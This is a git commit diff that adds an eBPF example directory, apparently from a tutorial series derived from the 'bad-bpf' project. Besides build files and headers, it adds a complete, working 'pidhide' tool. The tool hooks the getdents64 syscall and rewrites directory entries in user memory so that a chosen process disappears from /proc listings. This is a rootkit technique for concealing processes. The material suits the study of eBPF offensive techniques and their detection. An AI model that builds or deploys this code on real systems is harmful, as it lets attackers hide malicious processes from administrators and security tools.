add code for hide signal sudo and replace

src/24-hide/.gitignore

@@ -0,0 +1,9 @@
+.vscode
+package.json
+*.o
+*.skel.json
+*.skel.yaml
+package.yaml
+ecli
+bootstrap
+textreplace2

src/24-hide/LICENSE

@@ -0,0 +1,29 @@
+BSD 3-Clause License
+
+Copyright (c) 2020, Andrii Nakryiko
+All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are met:
+
+1. Redistributions of source code must retain the above copyright notice, this
+   list of conditions and the following disclaimer.
+
+2. Redistributions in binary form must reproduce the above copyright notice,
+   this list of conditions and the following disclaimer in the documentation
+   and/or other materials provided with the distribution.
+
+3. Neither the name of the copyright holder nor the names of its
+   contributors may be used to endorse or promote products derived from
+   this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

src/24-hide/Makefile

@@ -0,0 +1,141 @@
+# SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause)
+OUTPUT := .output
+CLANG ?= clang
+LIBBPF_SRC := $(abspath ../../libbpf/src)
+BPFTOOL_SRC := $(abspath ../../bpftool/src)
+LIBBPF_OBJ := $(abspath $(OUTPUT)/libbpf.a)
+BPFTOOL_OUTPUT ?= $(abspath $(OUTPUT)/bpftool)
+BPFTOOL ?= $(BPFTOOL_OUTPUT)/bootstrap/bpftool
+LIBBLAZESYM_SRC := $(abspath ../../blazesym/)
+LIBBLAZESYM_OBJ := $(abspath $(OUTPUT)/libblazesym.a)
+LIBBLAZESYM_HEADER := $(abspath $(OUTPUT)/blazesym.h)
+ARCH ?= $(shell uname -m | sed 's/x86_64/x86/' \
+			 | sed 's/arm.*/arm/' \
+			 | sed 's/aarch64/arm64/' \
+			 | sed 's/ppc64le/powerpc/' \
+			 | sed 's/mips.*/mips/' \
+			 | sed 's/riscv64/riscv/' \
+			 | sed 's/loongarch64/loongarch/')
+VMLINUX := ../../vmlinux/$(ARCH)/vmlinux.h
+# Use our own libbpf API headers and Linux UAPI headers distributed with
+# libbpf to avoid dependency on system-wide headers, which could be missing or
+# outdated
+INCLUDES := -I$(OUTPUT) -I../../libbpf/include/uapi -I$(dir $(VMLINUX))
+CFLAGS := -g -Wall
+ALL_LDFLAGS := $(LDFLAGS) $(EXTRA_LDFLAGS)
+
+APPS = textreplace2 # minimal minimal_legacy uprobe kprobe fentry usdt sockfilter tc ksyscall
+
+CARGO ?= $(shell which cargo)
+ifeq ($(strip $(CARGO)),)
+BZS_APPS :=
+else
+BZS_APPS := # profile
+APPS += $(BZS_APPS)
+# Required by libblazesym
+ALL_LDFLAGS += -lrt -ldl -lpthread -lm
+endif
+
+# Get Clang's default includes on this system. We'll explicitly add these dirs
+# to the includes list when compiling with `-target bpf` because otherwise some
+# architecture-specific dirs will be "missing" on some architectures/distros -
+# headers such as asm/types.h, asm/byteorder.h, asm/socket.h, asm/sockios.h,
+# sys/cdefs.h etc. might be missing.
+#
+# Use '-idirafter': Don't interfere with include mechanics except where the
+# build would have failed anyways.
+CLANG_BPF_SYS_INCLUDES ?= $(shell $(CLANG) -v -E - </dev/null 2>&1 \
+	| sed -n '/<...> search starts here:/,/End of search list./{ s| \(/.*\)|-idirafter \1|p }')
+
+ifeq ($(V),1)
+	Q =
+	msg =
+else
+	Q = @
+	msg = @printf '  %-8s %s%s\n'					\
+		      "$(1)"						\
+		      "$(patsubst $(abspath $(OUTPUT))/%,%,$(2))"	\
+		      "$(if $(3), $(3))";
+	MAKEFLAGS += --no-print-directory
+endif
+
+define allow-override
+  $(if $(or $(findstring environment,$(origin $(1))),\
+            $(findstring command line,$(origin $(1)))),,\
+    $(eval $(1) = $(2)))
+endef
+
+$(call allow-override,CC,$(CROSS_COMPILE)cc)
+$(call allow-override,LD,$(CROSS_COMPILE)ld)
+
+.PHONY: all
+all: $(APPS)
+
+.PHONY: clean
+clean:
+	$(call msg,CLEAN)
+	$(Q)rm -rf $(OUTPUT) $(APPS)
+
+$(OUTPUT) $(OUTPUT)/libbpf $(BPFTOOL_OUTPUT):
+	$(call msg,MKDIR,$@)
+	$(Q)mkdir -p $@
+
+# Build libbpf
+$(LIBBPF_OBJ): $(wildcard $(LIBBPF_SRC)/*.[ch] $(LIBBPF_SRC)/Makefile) | $(OUTPUT)/libbpf
+	$(call msg,LIB,$@)
+	$(Q)$(MAKE) -C $(LIBBPF_SRC) BUILD_STATIC_ONLY=1		      \
+		    OBJDIR=$(dir $@)/libbpf DESTDIR=$(dir $@)		      \
+		    INCLUDEDIR= LIBDIR= UAPIDIR=			      \
+		    install
+
+# Build bpftool
+$(BPFTOOL): | $(BPFTOOL_OUTPUT)
+	$(call msg,BPFTOOL,$@)
+	$(Q)$(MAKE) ARCH= CROSS_COMPILE= OUTPUT=$(BPFTOOL_OUTPUT)/ -C $(BPFTOOL_SRC) bootstrap
+
+
+$(LIBBLAZESYM_SRC)/target/release/libblazesym.a::
+	$(Q)cd $(LIBBLAZESYM_SRC) && $(CARGO) build --features=cheader,dont-generate-test-files --release
+
+$(LIBBLAZESYM_OBJ): $(LIBBLAZESYM_SRC)/target/release/libblazesym.a | $(OUTPUT)
+	$(call msg,LIB, $@)
+	$(Q)cp $(LIBBLAZESYM_SRC)/target/release/libblazesym.a $@
+
+$(LIBBLAZESYM_HEADER): $(LIBBLAZESYM_SRC)/target/release/libblazesym.a | $(OUTPUT)
+	$(call msg,LIB,$@)
+	$(Q)cp $(LIBBLAZESYM_SRC)/target/release/blazesym.h $@
+
+# Build BPF code
+$(OUTPUT)/%.bpf.o: %.bpf.c $(LIBBPF_OBJ) $(wildcard %.h) $(VMLINUX) | $(OUTPUT) $(BPFTOOL)
+	$(call msg,BPF,$@)
+	$(Q)$(CLANG) -g -O2 -target bpf -D__TARGET_ARCH_$(ARCH)		      \
+		     $(INCLUDES) $(CLANG_BPF_SYS_INCLUDES)		      \
+		     -c $(filter %.c,$^) -o $(patsubst %.bpf.o,%.tmp.bpf.o,$@)
+	$(Q)$(BPFTOOL) gen object $@ $(patsubst %.bpf.o,%.tmp.bpf.o,$@)
+
+# Generate BPF skeletons
+$(OUTPUT)/%.skel.h: $(OUTPUT)/%.bpf.o | $(OUTPUT) $(BPFTOOL)
+	$(call msg,GEN-SKEL,$@)
+	$(Q)$(BPFTOOL) gen skeleton $< > $@
+
+# Build user-space code
+$(patsubst %,$(OUTPUT)/%.o,$(APPS)): %.o: %.skel.h
+
+$(OUTPUT)/%.o: %.c $(wildcard %.h) | $(OUTPUT)
+	$(call msg,CC,$@)
+	$(Q)$(CC) $(CFLAGS) $(INCLUDES) -c $(filter %.c,$^) -o $@
+
+$(patsubst %,$(OUTPUT)/%.o,$(BZS_APPS)): $(LIBBLAZESYM_HEADER)
+
+$(BZS_APPS): $(LIBBLAZESYM_OBJ)
+
+# Build application binary
+$(APPS): %: $(OUTPUT)/%.o $(LIBBPF_OBJ) | $(OUTPUT)
+	$(call msg,BINARY,$@)
+	$(Q)$(CC) $(CFLAGS) $^ $(ALL_LDFLAGS) -lelf -lz -o $@
+
+# delete failed targets
+.DELETE_ON_ERROR:
+
+# keep intermediate (.skel.h, .bpf.o, etc) targets
+.SECONDARY:

src/24-hide/common.h

@@ -0,0 +1,35 @@
+// SPDX-License-Identifier: BSD-3-Clause
+#ifndef BAD_BPF_COMMON_H
+#define BAD_BPF_COMMON_H
+
+// These are used by a number of
+// different programs to sync eBPF Tail Call
+// login between user space and kernel
+#define PROG_00 0
+#define PROG_01 1
+#define PROG_02 2
+
+// Used when replacing text
+#define FILENAME_LEN_MAX 50
+#define TEXT_LEN_MAX 20
+
+// Simple message structure to get events from eBPF Programs
+// in the kernel to user spcae
+#define TASK_COMM_LEN 16
+struct event {
+    int pid;
+    char comm[TASK_COMM_LEN];
+    bool success;
+};
+
+struct tr_file {
+    char filename[FILENAME_LEN_MAX];
+    unsigned int filename_len;
+};
+
+struct tr_text {
+    char text[TEXT_LEN_MAX];
+    unsigned int text_len;
+};
+
+#endif  // BAD_BPF_COMMON_H

src/24-hide/common_um.h

@@ -0,0 +1,96 @@
+// SPDX-License-Identifier: BSD-3-Clause
+#ifndef BAD_BPF_COMMON_UM_H
+#define BAD_BPF_COMMON_UM_H
+
+#include <bpf/bpf.h>
+#include <bpf/libbpf.h>
+#include <unistd.h>
+#include <signal.h>
+#include <sys/resource.h>
+#include <errno.h>
+#include <fcntl.h>
+
+static volatile sig_atomic_t exiting;
+
+void sig_int(int signo)
+{
+    exiting = 1;
+}
+
+static bool setup_sig_handler() {
+    // Add handlers for SIGINT and SIGTERM so we shutdown cleanly
+    __sighandler_t sighandler = signal(SIGINT, sig_int);
+    if (sighandler == SIG_ERR) {
+        fprintf(stderr, "can't set signal handler: %s\n", strerror(errno));
+        return false;
+    }
+    sighandler = signal(SIGTERM, sig_int);
+    if (sighandler == SIG_ERR) {
+        fprintf(stderr, "can't set signal handler: %s\n", strerror(errno));
+        return false;
+    }
+    return true;
+}
+
+static int libbpf_print_fn(enum libbpf_print_level level, const char *format, va_list args)
+{
+    return vfprintf(stderr, format, args);
+}
+
+static bool bump_memlock_rlimit(void)
+{
+    struct rlimit rlim_new = {
+        .rlim_cur    = RLIM_INFINITY,
+        .rlim_max    = RLIM_INFINITY,
+    };
+
+    if (setrlimit(RLIMIT_MEMLOCK, &rlim_new)) {
+        fprintf(stderr, "Failed to increase RLIMIT_MEMLOCK limit! (hint: run as root)\n");
+        return false;
+    }
+    return true;
+}
+
+
+static bool setup() {
+    // Set up libbpf errors and debug info callback 
+    libbpf_set_print(libbpf_print_fn);
+
+    // Bump RLIMIT_MEMLOCK to allow BPF sub-system to do anything 
+    if (!bump_memlock_rlimit()) {
+        return false;
+    };
+
+    // Setup signal handler so we exit cleanly
+    if (!setup_sig_handler()) {
+        return false;
+    }
+
+    return true;
+}
+
+
+#ifdef BAD_BPF_USE_TRACE_PIPE
+static void read_trace_pipe(void) {
+    int trace_fd;
+
+    trace_fd = open("/sys/kernel/debug/tracing/trace_pipe", O_RDONLY, 0);
+    if (trace_fd == -1) {
+        printf("Error opening trace_pipe: %s\n", strerror(errno));
+        return;
+    }
+
+    while (!exiting) {
+        static char buf[4096];
+        ssize_t sz;
+
+        sz = read(trace_fd, buf, sizeof(buf) -1);
+        if (sz > 0) {
+            buf[sz] = '\x00';
+            puts(buf);
+        }
+    }
+}
+#endif  // BAD_BPF_USE_TRACE_PIPE
+
+#endif  // BAD_BPF_COMMON_UM_H

src/24-hide/pidhide.bpf.c

@@ -0,0 +1,210 @@
+// SPDX-License-Identifier: BSD-3-Clause
+#include "vmlinux.h"
+#include <bpf/bpf_helpers.h>
+#include <bpf/bpf_tracing.h>
+#include <bpf/bpf_core_read.h>
+#include "common.h"
+
+char LICENSE[] SEC("license") = "Dual BSD/GPL";
+
+// Ringbuffer Map to pass messages from kernel to user
+struct {
+    __uint(type, BPF_MAP_TYPE_RINGBUF);
+    __uint(max_entries, 256 * 1024);
+} rb SEC(".maps");
+
+// Map to fold the dents buffer addresses
+struct {
+    __uint(type, BPF_MAP_TYPE_HASH);
+    __uint(max_entries, 8192);
+    __type(key, size_t);
+    __type(value, long unsigned int);
+} map_buffs SEC(".maps");
+
+// Map used to enable searching through the
+// data in a loop
+struct {
+    __uint(type, BPF_MAP_TYPE_HASH);
+    __uint(max_entries, 8192);
+    __type(key, size_t);
+    __type(value, int);
+} map_bytes_read SEC(".maps");
+
+// Map with address of actual
+struct {
+    __uint(type, BPF_MAP_TYPE_HASH);
+    __uint(max_entries, 8192);
+    __type(key, size_t);
+    __type(value, long unsigned int);
+} map_to_patch SEC(".maps");
+
+// Map to hold program tail calls
+struct {
+    __uint(type, BPF_MAP_TYPE_PROG_ARRAY);
+    __uint(max_entries, 5);
+    __type(key, __u32);
+    __type(value, __u32);
+} map_prog_array SEC(".maps");
+
+// Optional Target Parent PID
+const volatile int target_ppid = 0;
+
+// These store the string represenation
+// of the PID to hide. This becomes the name
+// of the folder in /proc/
+const int max_pid_len = 10;
+const volatile int pid_to_hide_len = 0;
+const volatile char pid_to_hide[max_pid_len];
+
+// struct linux_dirent64 {
+//     u64        d_ino;    /* 64-bit inode number */
+//     u64        d_off;    /* 64-bit offset to next structure */
+//     unsigned short d_reclen; /* Size of this dirent */
+//     unsigned char  d_type;   /* File type */
+//     char           d_name[]; /* Filename (null-terminated) */ }; 
+// int getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);
+SEC("tp/syscalls/sys_enter_getdents64")
+int handle_getdents_enter(struct trace_event_raw_sys_enter *ctx)
+{
+    size_t pid_tgid = bpf_get_current_pid_tgid();
+    // Check if we're a process thread of interest
+    // if target_ppid is 0 then we target all pids
+    if (target_ppid != 0) {
+        struct task_struct *task = (struct task_struct *)bpf_get_current_task();
+        int ppid = BPF_CORE_READ(task, real_parent, tgid);
+        if (ppid != target_ppid) {
+            return 0;
+        }
+    }
+    int pid = pid_tgid >> 32;
+    unsigned int fd = ctx->args[0];
+    unsigned int buff_count = ctx->args[2];
+
+    // Store params in map for exit function
+    struct linux_dirent64 *dirp = (struct linux_dirent64 *)ctx->args[1];
+    bpf_map_update_elem(&map_buffs, &pid_tgid, &dirp, BPF_ANY);
+
+    return 0;
+}
+
+SEC("tp/syscalls/sys_exit_getdents64")
+int handle_getdents_exit(struct trace_event_raw_sys_exit *ctx)
+{
+    size_t pid_tgid = bpf_get_current_pid_tgid();
+    int total_bytes_read = ctx->ret;
+    // if bytes_read is 0, everything's been read
+    if (total_bytes_read <= 0) {
+        return 0;
+    }
+
+    // Check we stored the address of the buffer from the syscall entry
+    long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_buffs, &pid_tgid);
+    if (pbuff_addr == 0) {
+        return 0;
+    }
+
+    // All of this is quite complex, but basically boils down to
+    // Calling 'handle_getdents_exit' in a loop to iterate over the file listing
+    // in chunks of 200, and seeing if a folder with the name of our pid is in there.
+    // If we find it, use 'bpf_tail_call' to jump to handle_getdents_patch to do the actual
+    // patching
+    long unsigned int buff_addr = *pbuff_addr;
+    struct linux_dirent64 *dirp = 0;
+    int pid = pid_tgid >> 32;
+    short unsigned int d_reclen = 0;
+    char filename[max_pid_len];
+
+    unsigned int bpos = 0;
+    unsigned int *pBPOS = bpf_map_lookup_elem(&map_bytes_read, &pid_tgid);
+    if (pBPOS != 0) {
+        bpos = *pBPOS;
+    }
+
+    for (int i = 0; i < 200; i ++) {
+        if (bpos >= total_bytes_read) {
+            break;
+        }
+        dirp = (struct linux_dirent64 *)(buff_addr+bpos);
+        bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen);
+        bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp->d_name);
+
+        int j = 0;
+        for (j = 0; j < pid_to_hide_len; j++) {
+            if (filename[j] != pid_to_hide[j]) {
+                break;
+            }
+        }
+        if (j == pid_to_hide_len) {
+            // ***********
+            // We've found the folder!!!
+            // Jump to handle_getdents_patch so we can remove it!
+            // ***********
+            bpf_map_delete_elem(&map_bytes_read, &pid_tgid);
+            bpf_map_delete_elem(&map_buffs, &pid_tgid);
+            bpf_tail_call(ctx, &map_prog_array, PROG_02);
+        }
+        bpf_map_update_elem(&map_to_patch, &pid_tgid, &dirp, BPF_ANY);
+        bpos += d_reclen;
+    }
+
+    // If we didn't find it, but there's still more to read,
+    // jump back the start of this function and keep looking
+    if (bpos < total_bytes_read) {
+        bpf_map_update_elem(&map_bytes_read, &pid_tgid, &bpos, BPF_ANY);
+        bpf_tail_call(ctx, &map_prog_array, PROG_01);
+    }
+    bpf_map_delete_elem(&map_bytes_read, &pid_tgid);
+    bpf_map_delete_elem(&map_buffs, &pid_tgid);
+
+    return 0;
+}
+
+SEC("tp/syscalls/sys_exit_getdents64")
+int handle_getdents_patch(struct trace_event_raw_sys_exit *ctx)
+{
+    // Only patch if we've already checked and found our pid's folder to hide
+    size_t pid_tgid = bpf_get_current_pid_tgid();
+    long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_to_patch, &pid_tgid);
+    if (pbuff_addr == 0) {
+        return 0;
+    }
+
+    // Unlink target, by reading in previous linux_dirent64 struct,
+    // and setting it's d_reclen to cover itself and our target.
+    // This will make the program skip over our folder.
+    long unsigned int buff_addr = *pbuff_addr;
+    struct linux_dirent64 *dirp_previous = (struct linux_dirent64 *)buff_addr;
+    short unsigned int d_reclen_previous = 0;
+    bpf_probe_read_user(&d_reclen_previous, sizeof(d_reclen_previous), &dirp_previous->d_reclen);
+
+    struct linux_dirent64 *dirp = (struct linux_dirent64 *)(buff_addr+d_reclen_previous);
+    short unsigned int d_reclen = 0;
+    bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen);
+
+    // Debug print
+    char filename[max_pid_len];
+    bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp_previous->d_name);
+    filename[pid_to_hide_len-1] = 0x00;
+    bpf_printk("[PID_HIDE] filename previous %s\n", filename);
+    bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp->d_name);
+    filename[pid_to_hide_len-1] = 0x00;
+    bpf_printk("[PID_HIDE] filename next one %s\n", filename);
+
+    // Attempt to overwrite
+    short unsigned int d_reclen_new = d_reclen_previous + d_reclen;
+    long ret = bpf_probe_write_user(&dirp_previous->d_reclen, &d_reclen_new, sizeof(d_reclen_new));
+
+    // Send an event
+    struct event *e;
+    e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0);
+    if (e) {
+        e->success = (ret == 0);
+        e->pid = (pid_tgid >> 32);
+        bpf_get_current_comm(&e->comm, sizeof(e->comm));
+        bpf_ringbuf_submit(e, 0);
+    }
+
+
+    bpf_map_delete_elem(&map_to_patch, &pid_tgid);
+    return 0;
+}

src/24-hide/pidhide.c

@@ -0,0 +1,178 @@
+// SPDX-License-Identifier: BSD-3-Clause
+#include <argp.h>
+#include <unistd.h>
+#include <string.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include "pidhide.skel.h"
+#include "common_um.h"
+#include "common.h"
+
+// Setup Argument stuff
+static struct env {
+    int pid_to_hide;
+    int target_ppid;
+} env;
+
+const char *argp_program_version = "pidhide 1.0";
+const char *argp_program_bug_address = "<path@tofile.dev>";
+const char argp_program_doc[] =
+"PID Hider\n"
+"\n"
+"Uses eBPF to hide a process from usermode processes\n"
+"By hooking the getdents64 syscall and unlinking the pid folder\n"
+"\n"
+"USAGE: ./pidhide -p 2222 [-t 1111]\n";
+
+static const struct argp_option opts[] = {
+    { "pid-to-hide", 'p', "PID-TO-HIDE", 0, "Process ID to hide. Defaults to this program" },
+    { "target-ppid", 't', "TARGET-PPID", 0, "Optional Parent PID, will only affect its children." },
+    {},
+};
+static error_t parse_arg(int key, char *arg, struct argp_state *state)
+{
+    switch (key) {
+    case 'p':
+        errno = 0;
+        env.pid_to_hide = strtol(arg, NULL, 10);
+        if (errno || env.pid_to_hide <= 0) {
+            fprintf(stderr, "Invalid pid: %s\n", arg);
+            argp_usage(state);
+        }
+        break;
+    case 't':
+        errno = 0;
+        env.target_ppid = strtol(arg, NULL, 10);
+        if (errno || env.target_ppid <= 0) {
+            fprintf(stderr, "Invalid pid: %s\n", arg);
+            argp_usage(state);
+        }
+        break;
+    case ARGP_KEY_ARG:
+        argp_usage(state);
+        break;
+    default:
+        return ARGP_ERR_UNKNOWN;
+    }
+    return 0;
+}
+static const struct argp argp = {
+    .options = opts,
+    .parser = parse_arg,
+    .doc = argp_program_doc,
+};
+
+
+static int handle_event(void *ctx, void *data, size_t data_sz)
+{
+    const struct event *e = data;
+    if (e->success)
+        printf("Hid PID from program %d (%s)\n", e->pid, e->comm);
+    else
+        printf("Failed to hide PID from program %d (%s)\n", e->pid, e->comm);
+    return 0;
+}
+
+int main(int argc, char **argv)
+{
+    struct ring_buffer *rb = NULL;
+    struct pidhide_bpf *skel;
+    int err;
+
+    // Parse command line arguments
+    err = argp_parse(&argp, argc, argv, 0, NULL, NULL);
+    if (err) {
+        return err;
+    }
+    if (env.pid_to_hide == 0) {
+        printf("Pid Requried, see %s --help\n", argv[0]);
+        exit(1);
+    }
+
+    // Do common setup
+    if (!setup()) {
+        exit(1);
+    }
+ 
+    // Open BPF application 
+    skel = pidhide_bpf__open();
+    if (!skel) {
+        fprintf(stderr, "Failed to open BPF program: %s\n", strerror(errno));
+        return 1;
+    }
+
+    // Set the Pid to hide, defaulting to our own PID
+    char pid_to_hide[10];
+    if (env.pid_to_hide == 0) {
+        env.pid_to_hide = getpid();
+    }
+    sprintf(pid_to_hide, "%d", env.pid_to_hide);
+    strncpy(skel->rodata->pid_to_hide, pid_to_hide, sizeof(skel->rodata->pid_to_hide));
+    skel->rodata->pid_to_hide_len = strlen(pid_to_hide)+1;
+    skel->rodata->target_ppid = env.target_ppid;
+
+    // Verify and load program
+    err = pidhide_bpf__load(skel);
+    if (err) {
+        fprintf(stderr, "Failed to load and verify BPF skeleton\n");
+        goto cleanup;
+    }
+
+    // Setup Maps for tail calls
+    int index = PROG_01;
+    int prog_fd = bpf_program__fd(skel->progs.handle_getdents_exit);
+    int ret = bpf_map_update_elem(
+        bpf_map__fd(skel->maps.map_prog_array),
+        &index,
+        &prog_fd,
+        BPF_ANY);
+    if (ret == -1) {
+        printf("Failed to add program to prog array! %s\n", strerror(errno));
+        goto cleanup;
+    }
+    index = PROG_02;
+    prog_fd = bpf_program__fd(skel->progs.handle_getdents_patch);
+    ret = bpf_map_update_elem(
+        bpf_map__fd(skel->maps.map_prog_array),
+        &index,
+        &prog_fd,
+        BPF_ANY);
+    if (ret == -1) {
+        printf("Failed to add program to prog array! %s\n", strerror(errno));
+        goto cleanup;
+    }
+
+    // Attach tracepoint handler 
+    err = pidhide_bpf__attach( skel);
+    if (err) {
+        fprintf(stderr, "Failed to attach BPF program: %s\n", strerror(errno));
+        goto cleanup;
+    }
+
+    // Set up ring buffer
+    rb = ring_buffer__new(bpf_map__fd( skel->maps.rb), handle_event, NULL, NULL);
+    if (!rb) {
+        err = -1;
+        fprintf(stderr, "Failed to create ring buffer\n");
+        goto cleanup;
+    }
+
+    printf("Successfully started!\n");
+    printf("Hiding PID %d\n", env.pid_to_hide);
+    while (!exiting) {
+        err = ring_buffer__poll(rb, 100 /* timeout, ms */);
+        /* Ctrl-C will cause -EINTR */
+        if (err == -EINTR) {
+            err = 0;
+            break;
+        }
+        if (err < 0) {
+            printf("Error polling perf buffer: %d\n", err);
+            break;
+        }
+    }
+
+cleanup:
+    pidhide_bpf__destroy( skel);
+    return -err;
+}